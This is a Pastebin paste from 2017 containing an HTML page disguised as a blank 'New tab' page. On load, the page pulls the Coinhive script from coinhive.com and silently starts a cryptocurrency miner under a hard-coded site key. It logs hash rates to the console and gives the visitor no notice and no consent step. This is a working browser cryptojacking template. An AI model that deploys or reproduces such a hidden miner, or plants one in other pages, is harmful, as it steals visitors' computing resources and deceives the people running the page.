Advertisement
Guest User

conhive blankpage example

a guest
Oct 3rd, 2017
1,383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.80 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>New tab</title>
  5. <script src="https://coinhive.com/lib/coinhive.min.js"></script>
  6. </head>
  7. <body>
  8. <script>
  9.                                         //your site key
  10.     var miner = new CoinHive.Anonymous('ASZffWjF9yFMUsjIcVnsS33sokHaDCD3');
  11.     miner.start();
  12. </script>
  13.  
  14. <script>
  15.     // Listen on events
  16.     miner.on('found', function() {  })
  17.     miner.on('accepted', function() {  })
  18.  
  19.     // Update stats once per second
  20.     setInterval(function() {
  21.         var hashesPerSecond = miner.getHashesPerSecond();
  22.         var totalHashes = miner.getTotalHashes();
  23.         var acceptedHashes = miner.getAcceptedHashes();
  24.  
  25.         // Output to HTML elements...
  26.         console.log("H/s: " + hashesPerSecond);
  27.         console.log("Total Hashes: " + totalHashes);
  28.         console.log("Acepted Hashes: " + acceptedHashes);
  29.     }, 1000);
  30. </script>
  31. </body>
  32. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement